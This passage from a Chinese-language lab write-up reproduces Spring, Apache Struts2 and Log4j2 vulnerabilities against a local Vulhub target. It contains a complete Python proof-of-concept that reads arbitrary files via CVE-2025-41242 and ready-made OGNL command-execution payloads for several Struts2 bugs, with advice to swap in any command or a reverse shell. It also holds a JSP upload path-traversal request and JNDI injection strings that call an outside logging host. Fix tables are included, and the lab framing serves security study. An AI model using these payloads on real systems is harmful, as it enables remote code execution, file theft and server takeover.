访问 http://192.168.197.88:8080/admin/index，可以看到管理页面访问被阻止（403 Forbidden）。 ② 绕过认证

访问以下 URL 即可绕过认证，成功访问管理页面：

1
http://192.168.197.88:8080/admin/%0aindex
2
http://192.168.197.88:8080/admin/%0dindex

%0a 和 %0d 是 URL 编码中的两个特殊字符：

编码	字符	ASCII 码	含义
`%0a`	`\n`	10	换行符（Line Feed，LF）
`%0d`	`\r`	13	回车符（Carriage Return，CR）

注意：这个漏洞不能直接反弹 Shell。 这个漏洞是认证绕过（Authorization Bypass），不是远程代码执行（RCE）。它只能让你绕过权限检查，访问原本需要登录才能访问的页面或接口，但并不能直接执行系统命令。

反弹 Shell 需要 RCE：必须能在服务器上执行系统命令（例如调用 Runtime.exec()、上传 Webshell 等）。 CVE-2022-22978 本身不提供任何命令执行能力，所以无法直接弹 Shell。

如果想拿 Shell，需要结合其他利用点，例如：

后台有文件上传功能 → 上传 JSP Webshell
后台有命令执行功能 → 直接执行反弹 Shell 命令
后台有反序列化接口 → 触发反序列化 RCE

10. CVE-2025-41242（Spring + Jetty 路径穿越）#

Spring 框架的 StringUtils.uriDecode 存在 “Ghost Bits” 缺陷，高位 Unicode 字符的低 8 位被截断为 ASCII 字符，导致安全检查被绕过。

例如 阮(U+962E)→0x2E='.'、严(U+4E25)→0x25='%'、灵(U+7075)→0x75='u'、丰(U+4E30)→0x30='0'、甲(U+7532)→0x32='2'、来(U+6765)→0x65='e'，于是攻击者构造的字符串 阮严灵丰丰甲来 被静默地转换成 ASCII 字符串 .%u002e。

而 Jetty 在后续处理时又将 %u002e 解码为 .，最终实现路径穿越。

① 漏洞触发条件

必须以 阮严灵丰丰甲来 的原始 UTF-8 字节直送服务端，不能预先 percent-encoding（percent-encoding 就是 URL 编码，也叫百分号编码）。
目标文件名中至少有一个字符做 percent-encoding（如 passwd 写成 passw%64），否则 Spring 的路径匹配会提前短路，根本不会调用到那段有问题的解码逻辑。。
浏览器、curl、Burp Suite 等工具会自动规范化 URL，无法直接复现，因为它们在发送请求前会对 URL 路径做规范化处理，把高位 Unicode 字符自动编码为 ASCII（变成 %E9%98%AE... 或 .%u002e），从而破坏漏洞触发条件。要复现，必须使用允许逐字节构造并发送原始 HTTP 请求的工具。。

② 方式一：使用 Python socket 脚本

目录下提供了 poc.py，它会将原始 UTF-8 字节直接写入 socket，绕过 URL 规范化：

1
#!/usr/bin/env python3
2
"""
3
PoC for CVE-2025-41242: Spring Framework path traversal via Jetty URI
4
parsing inconsistency on embedded Jetty.
5
"""
6
from __future__ import annotations
7
import argparse
8
import socket
9
import ssl
10
import sys
11
from urllib.parse import urlparse
12
GHOST_BITS_SEG = '阮严灵丰丰甲来'.encode('utf-8')
13
DEFAULT_PORTS = {'http': 80, 'https': 443}
14

15
def encode_target_path(file_path: str) -> bytes:
16
    """Strip the leading slash and percent-encode the last character.
17
    Spring's path matcher short-circuits when no character is percent-encoded,
18
    so at least one byte of the target filename must be encoded for the buggy
19
    decoder to fire (e.g. 'passwd' -> 'passw%64').
20
    """
21
    path = file_path.lstrip('/')
22
    if not path:
23
        raise ValueError('file path must not be empty')
24
    last = path[-1]
25
    if not last.isascii():
26
        raise ValueError('last character of the file path must be ASCII')
27
    return path[:-1].encode('utf-8') + ('%%%02x' % ord(last)).encode()
28

29
def parse_target(url: str) -> tuple[str, str, int]:
30
    if '://' not in url:
31
        url = 'http://' + url
32
    parsed = urlparse(url)
33
    if parsed.scheme not in DEFAULT_PORTS:
34
        raise ValueError(
35
            f'only http/https are supported (got {parsed.scheme!r})'
36
        )
37
    if not parsed.hostname:
38
        raise ValueError(f'cannot parse host from {url!r}')
39
    port = parsed.port or DEFAULT_PORTS[parsed.scheme]
40
    return parsed.scheme, parsed.hostname, port
41

42
def build_request(host: str, port: int, file_path: str) -> bytes:
43
    encoded_target = encode_target_path(file_path)
44
    path = b'/' + (GHOST_BITS_SEG + b'/') * 7 + encoded_target
45
    host_header = f'{host}:{port}'.encode()
46
    return (
47
        b'GET ' + path + b' HTTP/1.1\r\n'
48
        b'Host: ' + host_header + b'\r\n'
49
        b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' + b'\r\n'
50
        b'Connection: close\r\n\r\n'
51
    )
52

53
def send(
54
    scheme: str,
55
    host: str,
56
    port: int,
57
    request: bytes,
58
    timeout: float,
59
    insecure: bool,
60
) -> bytes:
61
    sock = socket.create_connection((host, port), timeout=timeout)
62
    if scheme == 'https':
63
        ctx = ssl.create_default_context()
64
        if insecure:
65
            ctx.check_hostname = False
66
            ctx.verify_mode = ssl.CERT_NONE
67
        sock = ctx.wrap_socket(sock, server_hostname=host)
68
    with sock:
69
        sock.sendall(request)
70
        chunks = []
71
        while True:
72
            chunk = sock.recv(4096)
73
            if not chunk:
74
                break
75
            chunks.append(chunk)
76
    return b''.join(chunks)
77

78
def main() -> int:
79
    parser = argparse.ArgumentParser(
80
        description=(
81
            'PoC for CVE-2025-41242: Spring Framework path traversal on '
82
            'embedded Jetty. Reads an arbitrary file from the target server.'
83
        ),
84
        epilog='example: python poc.py http://192.168.1.160:8080 -f /etc/passwd',
85
    )
86
    parser.add_argument(
87
        'target',
88
        help='target URL or host:port, e.g. http://192.168.1.160:8080',
89
    )
90
    parser.add_argument(
91
        '-f', '--file',
92
        default='/etc/passwd',
93
        help='absolute path of the file to read (default: /etc/passwd)',
94
    )
95
    parser.add_argument(
96
        '--timeout', type=float, default=10.0,
97
        help='socket timeout in seconds (default: 10)',
98
    )
99
    parser.add_argument(
100
        '-k', '--insecure', action='store_true',
101
        help='skip TLS certificate verification when using https',
102
    )
103
    args = parser.parse_args()
104
    try:
105
        scheme, host, port = parse_target(args.target)
106
        request = build_request(host, port, args.file)
107
    except ValueError as e:
108
        print(f'error: {e}', file=sys.stderr)
109
        return 2
110
    try:
111
        data = send(
112
            scheme, host, port, request,
113
            timeout=args.timeout, insecure=args.insecure,
114
        )
115
    except OSError as e:
116
        print(
117
            f'error: connection to {scheme}://{host}:{port} failed: {e}',
118
            file=sys.stderr,
119
        )
120
        return 1
121
    # Send response headers to stderr and the body to stdout, so the body can
122
    # be redirected cleanly: `python poc.py  -f /etc/passwd > out`.
123
    header, sep, body = data.partition(b'\r\n\r\n')
124
    sys.stderr.buffer.write(header + sep)
125
    sys.stderr.flush()
126
    sys.stdout.buffer.write(body)
127
    return 0
128

129
if __name__ == '__main__':
130
    raise SystemExit(main())

展开收起

该POC脚本默认读取靶机环境中的 /etc/passwd：

1
python3 poc.py http://192.168.197.88:8080

可以指定读取其他文件：

1
python3 poc.py http://192.168.197.88:8080 -f /etc/hosts

HTTPS 目标加 -k 跳过证书校验（这个靶场没开HTTPS服务）：

1
python3 poc.py https://192.168.197.88:8443 -f /etc/passwd -k

③ 方式二：使用 Yakit 原始数据包

在 Yakit 的 HTTP Fuzzer 中粘贴以下数据包：

1
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Connection: close

发送后即可看到 /etc/passwd 内容。

三、漏洞原理总结#

漏洞编号	CVE	注入点	利用方式
CVE-2016-4977	CVE-2016-4977	OAuth2 错误参数	`response_type` 参数 SpEL 注入
CVE-2017-4971	CVE-2017-4971	WebFlow 数据绑定 field	表单字段 SpEL 注入
CVE-2017-8046	CVE-2017-8046	JSON Patch path	PATCH 请求 SpEL 注入
CVE-2018-1270	CVE-2018-1270	STOMP selector	消息订阅 SpEL 注入
CVE-2018-1273	CVE-2018-1273	注册参数绑定	`username[...]` SpEL 注入
CVE-2022-22947	CVE-2022-22947	Actuator 路由配置	添加路由触发 SpEL 执行
CVE-2022-22963	CVE-2022-22963	HTTP 请求头	`routing-expression` 头 SpEL 注入
CVE-2022-22965	CVE-2022-22965	数据绑定	`class.module.classLoader` 链篡改 Tomcat 日志
CVE-2022-22978	CVE-2022-22978	正则表达式	`.` 匹配绕过认证
CVE-2025-41242	CVE-2025-41242	URI 解码	Ghost Bits 路径穿越

核心本质：Spring 漏洞家族中，SpEL 表达式注入占据了绝大多数。所有 SpEL 注入的 Payload 都遵循相似的逻辑——调用 Runtime.getRuntime().exec() 执行命令，区别只在于注入入口不同（HTTP 头、请求参数、JSON Patch、WebSocket 消息等）。CVE-2022-22965 走的是数据绑定路线，CVE-2025-41242 则是 URI 解码不一致导致的路径穿越，两者都是非常独特且值得深入研究的漏洞。

四、修复方案#

漏洞	修复版本	临时措施
CVE-2016-4977	Spring Security OAuth 2.0.10+	升级框架版本
CVE-2017-4971	Spring WebFlow 2.4.5+	升级框架版本
CVE-2017-8046	Spring Data REST 2.6.7+ / 3.0 RC3+	升级框架版本
CVE-2018-1270	Spring Messaging 5.0.5+ / 4.3.16+	升级框架版本
CVE-2018-1273	Spring Data Commons 2.0.6+ / 1.13.11+	升级框架版本
CVE-2022-22947	Spring Cloud Gateway 3.1.1+ / 3.0.7+	禁用或限制 Actuator 端点
CVE-2022-22963	Spring Cloud Function 3.2.3+	升级框架版本
CVE-2022-22965	Spring Framework 5.3.18+ / 5.2.20+	升级 JDK 至 9+ 并更新 Spring
CVE-2022-22978	Spring Security 5.5.7+ / 5.6.4+	升级框架版本
CVE-2025-41242	Spring Framework 5.3.44+ / 6.0.30+ / 6.1.22+ / 6.2.10+	升级框架版本

通用建议：

及时升级 Spring 框架及相关组件到最新安全版本
避免将用户输入直接拼接到 SpEL 表达式中
限制 Actuator 端点的对外暴露（生产环境应禁用）
使用 WAF 拦截包含 T(java.lang.Runtime)、ProcessBuilder、getRuntime() 等特征的恶意请求
保持 JDK 版本更新，避免使用存在已知安全问题的旧版本

Apache Struts2

2026-10-06T01:00:00.000Z

项目	详情
攻击机	Kali Linux（IP：192.168.197.10）
靶机	Ubuntu Server 24.04（IP：192.168.197.88）
CVSS 评分	S2-045: 9.8（严重） / S2-057: 9.8（严重） / S2-061: 9.8（严重）
典型漏洞编号	S2-045（CVE-2017-5638）/ S2-057（CVE-2018-11776）/ S2-061（CVE-2020-17530）/ S2-066（CVE-2023-50164）/ S2-067（CVE-2024-53677）
影响组件	Apache Struts2 2.0.0 ~ 6.3.0（各漏洞影响版本不同）
漏洞类型	OGNL 表达式注入 → 远程代码执行（RCE）/ 路径遍历
利用条件	使用漏洞版 Struts2 + 用户可控的 OGNL 表达式输入点
核心原理	`%{...}` 或 `${...}` 表达式未安全过滤，导致 OGNL 解析器执行恶意代码

一、漏洞原理#

3.1 漏洞原理#

Apache Struts2 漏洞的本质，源于其核心的 OGNL（Object-Graph Navigation Language，对象图导航语言）表达式注入。

OGNL 是一种功能强大的表达式语言，其设计的初衷，是为了在无法直接编写 Java 代码的地方（如配置文件、JSP页面）执行 Java 代码或访问对象数据。Struts2 框架使用 OGNL 作为默认的表达式语言来处理数据传递和视图渲染。

漏洞的根源在于，Struts2 在某些场景下会对用户输入（例如 URL 参数、请求头、标签属性）进行 OGNL 表达式解析。当 Struts2 在处理过程中，使用 %{…} 或 ${…} 包裹用户输入并交由 OGNL 引擎解析时，若未进行严格的安全过滤，攻击者就可以构造恶意的 OGNL 表达式，通过用户可控的输入点注入到服务器端，由 OGNL 引擎执行。

由于 OGNL 能够直接调用 Java 对象的方法和属性，一个成功的注入通常会导致远程代码执行（RCE），攻击者可以在目标服务器上执行任意系统命令。不过，为了限制 OGNL 的权限，Struts2 引入了 OGNL 沙盒（Sandbox）机制。沙盒通过黑名单等方式，限制 OGNL 表达式能够访问和调用的 Java 类及方法。因此，一个完整的 Struts2 漏洞利用，通常需要包含沙盒绕过（Sandbox Bypass）技术，这是许多 Payload 看起来非常复杂的原因。

3.2 题目列表#

漏洞编号	Vulhub 目录	说明
S2-001	`struts2/s2-001`	CVE-2007-4556。当表单验证失败时，后端会对用户提交的参数执行 OGNL 表达式解析。
S2-005	`struts2/s2-005`	CVE-2010-1870。S2-003 漏洞的绕过方式，通过 `redirect:` 前缀注入 OGNL 表达式。
S2-007	`struts2/s2-007`	当类型验证转换出错时，服务器会将用户提交的表单值拼接并执行 OGNL 表达式解析，造成注入。
S2-008	`struts2/s2-008`	漏洞点位于 `devmode` 模式下的调试接口，攻击者可通过特定参数执行 OGNL 表达式。
S2-009	`struts2/s2-009`	参数值作为 OGNL 表达式被执行，导致了远程代码执行。
S2-012	`struts2/s2-012`	CVE-2013-1965。当使用重定向结果类型且参数用户可控时，可导致 OGNL 表达式二次解析并执行。
S2-013	`struts2/s2-013`	CVE-2013-1966。`s:a` 和 `s:url` 标签的 `includeParams` 属性值可被攻击者利用，导致 OGNL 表达式执行。
S2-015	`struts2/s2-015`	CVE-2013-2135 / CVE-2013-2134。通配符映射的 Action 名称作为 OGNL 表达式被执行。
S2-016	`struts2/s2-016`	在 `redirect` 和 `redirectAction` 结果类型中，参数名可被当作 OGNL 表达式解析。
S2-032	`struts2/s2-032`	CVE-2016-3081。可通过 `method:` 前缀调用 `DynamicMethodInvocation` 执行 OGNL 表达式。
S2-045	`struts2/s2-045`	CVE-2017-5638。经典漏洞。通过构造恶意的 `Content-Type` 请求头注入 OGNL 表达式。
S2-046	`struts2/s2-046`	CVE-2017-5638 的另一种利用方式，通过畸形的 `Content-Disposition` 请求头触发。
S2-048	`struts2/s2-048`	CVE-2017-9791。在 `struts2-struts1-plugin` 插件中，`ActionMessage` 接收的用户输入可被 OGNL 解析。
S2-052	`struts2/s2-052`	CVE-2017-9805。REST 插件的 XStream 反序列化漏洞，可导致远程代码执行。
S2-053	`struts2/s2-053`	CVE-2017-12611。Freemarker 标签中 `id` 属性值可被 OGNL 表达式解析。
S2-057	`struts2/s2-057`	CVE-2018-11776。当 `alwaysSelectFullNamespace` 为 `true` 时，可通过 URL 路径中的 `namespace` 注入 OGNL 表达式。
S2-059	`struts2/s2-059`	CVE-2019-0230。标签属性值使用了 `%{...}` 且用户可控时，可造成 OGNL 表达式执行。
S2-061	`struts2/s2-061`	CVE-2020-17530。S2-059 的沙盒绕过，利用相同的触发点执行恶意 OGNL 表达式。
S2-066	`struts2/s2-066`	CVE-2023-50164。文件上传逻辑缺陷导致的路径遍历漏洞。
S2-067	`struts2/s2-067`	CVE-2024-53677。最新的文件上传路径遍历漏洞。

建议的解题步骤：

先打 S2-016：用最简单的方式理解 OGNL 注入流程，不要管沙盒。
再打 S2-045：掌握 Content-Type 注入的经典姿势。
然后 S2-057：理解 namespace 注入的不同思路。
接着 S2-061：看沙盒是如何被绕过的。
最后 S2-067：换个口味，体验文件上传漏洞。

二、漏洞复现#

方式一：S2-016（URL 参数注入）#

S2-016 的 Payload 相对简洁，适合刚开始理解 OGNL 注入原理。

① 原始 Payload（未编码）

1
/index.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id"),#b=new java.io.InputStreamReader(#a.getInputStream()),#c=new java.io.BufferedReader(#b),#d=#c.readLine(),#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#matt.getWriter().println(#d),#matt.getWriter().flush(),#matt.getWriter().close()}

对于上面的payload解释如下：

整体结构为：

1
/index.action?redirect:${ ... 这里是一大串 OGNL 表达式 ... }

部分	含义
`/index.action`	Struts2 的 Action 请求路径
`?redirect:`	漏洞触发点。Struts2 的 redirect 结果类型会把冒号后面的内容当作 OGNL 表达式解析
`${...}`	OGNL 表达式的标准语法，${} 内的内容会被 OGNL 引擎执行

OGNL 表达式逐句拆解：

① 关闭方法执行保护

1
#context["xwork.MethodAccessor.denyMethodExecution"]=false
2

3
Struts2默认禁止在OGNL中调用任意方法。这行把它关掉，为后续调用Runtime.exec()铺路。

② 获取 allowStaticMethodAccess 字段

1
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
2

3
#_memberAccess是OGNL的成员访问控制器。这行用反射拿到它里面的allowStaticMethodAccess字段（默认是false，禁止调用静态方法）。

③ 绕过私有字段限制并开启静态方法

1
setAccessible(true)：让私有字段可以被修改
2
set(#_memberAccess,true)：把allowStaticMethodAccess改成true，允许调用静态方法（比如 Runtime.getRuntime()）
3

4
#f.setAccessible(true)
5
#f.set(#_memberAccess,true)

④ 执行系统命令

1
@java.lang.Runtime@getRuntime()：OGNL调用静态方法的标准语法
2
.exec("id")：执行系统命令id，结果保存在#a中
3

4
#a=@java.lang.Runtime@getRuntime().exec("id")

⑤ 读取命令输出

1
把命令的输出流包装成BufferedReader，然后读取第一行结果，存入#d。
2

3
#b=new java.io.InputStreamReader(#a.getInputStream())
4
#c=new java.io.BufferedReader(#b)
5
#d=#c.readLine()

⑥ 获取 HTTP 响应对象并回显

1
从OGNL上下文中取出HttpServletResponse对象
2
把命令执行结果#d写入HTTP响应
3
刷新并关闭输出流
4

5
#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")
6
#matt.getWriter().println(#d)
7
#matt.getWriter().flush()
8
#matt.getWriter().close()

一句话总结，这段 Payload 的核心逻辑是：关闭沙盒限制 → 开启静态方法调用 → 执行 id 命令 → 把结果回显到浏览器。

因此我们可以把 exec(“id”) 里的 id 换成任意命令（如 whoami、ls、cat /etc/passwd），甚至换成反弹 Shell 命令，实现更进一步的利用。

② URL 编码后的 Payload

1
/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec(%22id%22)%2C%23b%3Dnew+java.io.InputStreamReader(%23a.getInputStream())%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3D%23c.readLine()%2C%23matt%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23matt.getWriter().println(%23d)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D

为什么需要 URL 编码？

原始Payload里有大量特殊字符，比如 #、{、}、$、[、]、"。

#：在 URL 中会被浏览器当作锚点（fragment），# 后面的内容根本不会发送给服务器。
{}、$、" 等：在 URL 传输过程中也可能被截断或转义。

所以实际发送时，必须对整个 Payload 做 URL 编码：

字符	编码
`#`	`%23`
`{`	`%7B`
`}`	`%7D`
`$`	`%24`
`[`	`%5B`
`]`	`%5D`
`"`	`%22`
空格	`%20` 或 `+`

方式二：S2-045（Content-Type 注入）#

S2-045 的漏洞点在于 Content-Type 请求头。Struts2 在处理 multipart 请求时，会对 Content-Type 进行 OGNL 解析，且未做充分过滤。

① 验证漏洞是否存在

抓包，将正常请求的 Content-Type 替换为以下 Payload（执行数学计算验证）：

1
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo $((233*233))').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

如果返回 54289（233×233 的结果），说明漏洞存在。 ② 执行任意命令

将 Payload 中的 #cmd='echo $((233*233))' 替换为 #cmd='id' 即可执行系统命令并回显。

方式三：S2-057（Namespace 注入）#

S2-057 (CVE-2018-11776) 的触发点在于 URL 路径中的 namespace（命名空间）。当 Struts2 的配置满足特定条件时，用户可控的 namespace 值会被当作 OGNL 表达式解析执行。

漏洞触发条件：

S2-057 的利用窗口非常特殊，需要同时满足以下两个配置条件。

alwaysSelectFullNamespace 为 true：框架会优先从 URI 中提取完整的 namespace，而不是仅依赖 action 元素上声明的值。
Action 未声明 namespace，或使用了通配符（如 *）：只有当 namespace 未设置或为通配符时，框架才会从 URI 中动态解析，给攻击者留下注入入口。

影响版本：Struts 2.3.34 及以下、Struts 2.5.16 及以下。

① 验证漏洞是否存在

启动 Vulhub 环境后，在 URL 路径中注入一个简单的 OGNL 表达式进行验证：

1
http://192.168.197.88:8080/$%7B233*233%7D/actionChain1.action

$%7B233*233%7D 是 ${233*233} 的 URL 编码形式。
如果漏洞存在，计算结果 54289 会出现在响应头的 Location 字段或 URL 中。

② 命令执行（回显）

将 ${233*233} 替换为完整的命令执行 OGNL 表达式（需进行 URL 编码）：

1
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL 编码后的完整 Payload：

1
http://192.168.197.88:8080/struts2-showcase/$%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

命令执行结果会回显在响应中。

方式四：S2-061（标签属性注入）#

S2-061 (CVE-2020-17530) 是 S2-059 的沙盒绕过。触发点在于 Struts2 标签的属性值（如 id）被使用 %{…} 包裹且用户可控时，OGNL 表达式会被二次解析执行。

命令回显 Payload ：

1
POST /index.action HTTP/1.1
2
Host: 192.168.197.88:8080
3
Accept-Encoding: gzip, deflate
4
Accept: */*
5
Accept-Language: en
6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
7
Connection: close
8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
9
Content-Length: 827
10

11
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
12
Content-Disposition: form-data; name="id"
13

14
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
15
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

展开收起

方式五：S2-067（文件上传路径穿越）#

在 Struts2 中，所有参数在传递时，参数的键名都会进行 OGNL 表达式的计算。这个特性历史上曾导致多次通过 OGNL 表达式注入实现远程命令执行的漏洞。虽然 Struts2 已经实现了严格的参数键名验证来防止 RCE 漏洞，但表达式计算仍然会发生。S2-067 就是利用这个表达式计算机制，再次覆盖上传文件时的文件名，最终导致目录穿越问题。

漏洞复现：

环境启动后，访问 http://192.168.197.88:8080 可以看到一个简单的文件上传页面。

在复现 S2-067 之前，建议先阅读 S2-066 的漏洞原理。在此环境中，已无法使用与 S2-066 相同的 Payload，因为大小写敏感性问题已被修复。我们需要将 OGNL 表达式 top.fileFileName 作为文件名参数键名的一部分，使文件再次被上传到受限上传目录之外。

构造以下 POST 请求：

1
POST /index.action HTTP/1.1
2
Host: 192.168.197.88:8080
3
Accept-Encoding: gzip, deflate, br
4
Accept: */*
5
Accept-Language: en-US;q=0.9,en;q=0.8
6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
7
Connection: close
8
Cache-Control: max-age=0
9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF
10
Content-Length: 335
11

12
------WebKitFormBoundaryl6ZFZPznNSPZOFJF
13
Content-Disposition: form-data; name="file"; filename="shell.jsp"
14
Content-Type: text/plain
15

16
<%
17
  out.println("hello world");
18
%>
19
------WebKitFormBoundaryl6ZFZPznNSPZOFJF
20
Content-Disposition: form-data; name="top.fileFileName"
21

22
../shell.jsp
23
------WebKitFormBoundaryl6ZFZPznNSPZOFJF--

展开收起

关键要素说明：

与 S2-066 利用大小写敏感性不同，这里使用了参数键名中的 OGNL 表达式计算。
参数键名 top.fileFileName 会被作为 OGNL 表达式进行计算，该表达式指向上传文件的文件名属性。
通过将值设置为 ../shell.jsp，实现了路径穿越，覆盖了原本的上传目录限制。
最终 JSP 文件被上传到受限目录之外，并可通过 http://192.168.197.88:8080/shell.jsp 访问执行。

修复建议：升级到 Struts 6.4.0 或更高版本，或参考官方安全公告及时修补。

📋 Struts2 漏洞对比一览#

漏洞编号	注入点	触发方式	核心特点
S2-016	URL 参数	`redirect:` 前缀	最基础的 OGNL 注入，Payload 结构清晰
S2-045	`Content-Type` 请求头	文件上传请求	无需登录，影响范围广，面试高频
S2-057	URL 路径 `namespace`	特定配置条件下的路径遍历	原理独特，需 `alwaysSelectFullNamespace=true`
S2-061	标签属性	`%{...}` 二次解析	S2-059 的沙盒绕过，展示沙盒演化
S2-067	文件上传	路径遍历	与 OGNL 无关，属于文件上传逻辑漏洞

注意：以上漏洞都可以进一步使用反弹shell（S2-067则可以上传一句话木马），来获取系统的shell权限。

Apache Log4j2

2026-09-09T01:00:00.000Z

项目	详情
攻击机	Kali Linux（IP：192.168.197.10）
靶机	Ubuntu Server 24.04（IP：192.168.197.88）
CVSS 评分	10.0（严重）
漏洞编号	CVE-2021-44228（Log4Shell）
影响组件	Apache Log4j2 2.0-beta9 ~ 2.14.1
漏洞类型	JNDI 注入 → 远程代码执行（RCE）
利用条件	应用使用漏洞版 Log4j2 + 用户输入被日志记录
核心原理	`${jndi:ldap://...}` 表达式触发远程类加载

一、漏洞概述#

CVE-2021-44228，又名 Log4Shell，是 Apache Log4j2 日志组件中被发现的远程代码执行（RCE）漏洞，CVSS 评分高达 10.0（满分）。该漏洞影响 Log4j2 版本 2.0-beta9 到 2.14.1，攻击者只需向目标系统输入包含特定恶意表达式的字符串，即可触发漏洞并执行任意代码，无需任何认证。

影响范围：Log4j2 被广泛应用于各类 Java 应用（如 Solr、Elasticsearch、SpringBoot 应用等），漏洞波及面极广。

二、漏洞验证（DNSLog 探测）#

Step 1：获取 DNSLog 域名

访问 DNSLog 平台（如 dnslog.cn），获取一个专属域名，例如 bu74sz.dnslog.cn。

Step 2：构造并发送 Payload

在浏览器中访问以下 URL：

1
http://192.168.197.88:8983/solr/admin/cores?action=${jndi:ldap://bu74sz.dnslog.cn}

Step 3：查看 DNSLog 回显

刷新 DNSLog 平台页面，如果看到有 DNS 解析记录，说明漏洞存在。

三、漏洞利用（反弹 Shell）#

3.1 漏洞原理#

DNSLog 探测只能证明漏洞存在，要获取服务器权限需要进一步利用，核心手段是反弹 Shell。这一切都建立在 Log4j2 的 Lookup（查找）机制之上。

Log4j2 允许在日志信息中使用 ${} 语法动态插入运行时值，其中JNDI Lookup（即 ${jndi:…}）是功能最强大的查找方式之一。JNDI（Java Naming and Directory Interface，Java命名与目录接口）是 Java 官方提供的一套 API，允许应用程序通过一个名称去动态查找和访问远程资源，包括 LDAP 目录服务、RMI 远程对象等。开发者本意是用它来读取配置中心或外部服务的数据，但问题在于：这些表达式的解析过程完全可控，且没有任何白名单或权限校验。

攻击者正是看中了这一点，构造恶意输入，将 ${jndi:ldap://攻击者IP/恶意类} 这类字符串注入到应用日志中。Log4j2 在记录日志时，会解析 ${} 表达式并触发 JNDI 查询，导致服务器主动去连接攻击者搭建的恶意 LDAP 服务。

完整的攻击链路如下：

1
用户可控输入（包含恶意 ${jndi:...}）
2
         ↓
3
应用调用 logger.info() 记录该输入
4
         ↓
5
Log4j2 解析日志信息，识别出 ${jndi:...} 表达式
6
         ↓
7
触发 JNDI Lookup，向攻击者控制的 LDAP 服务器发起请求
8
         ↓
9
恶意 LDAP 服务器返回一个包含恶意 Java 类下载地址的引用
10
         ↓
11
靶机根据引用地址请求攻击者的 HTTP 服务，下载并加载恶意类
12
         ↓
13
恶意类被执行，向攻击机发起反向连接（反弹 Shell）
14
         ↓
15
攻击者获得靶机 Shell 权限

展开收起

把上面的攻击链路转化成图，如下所示：

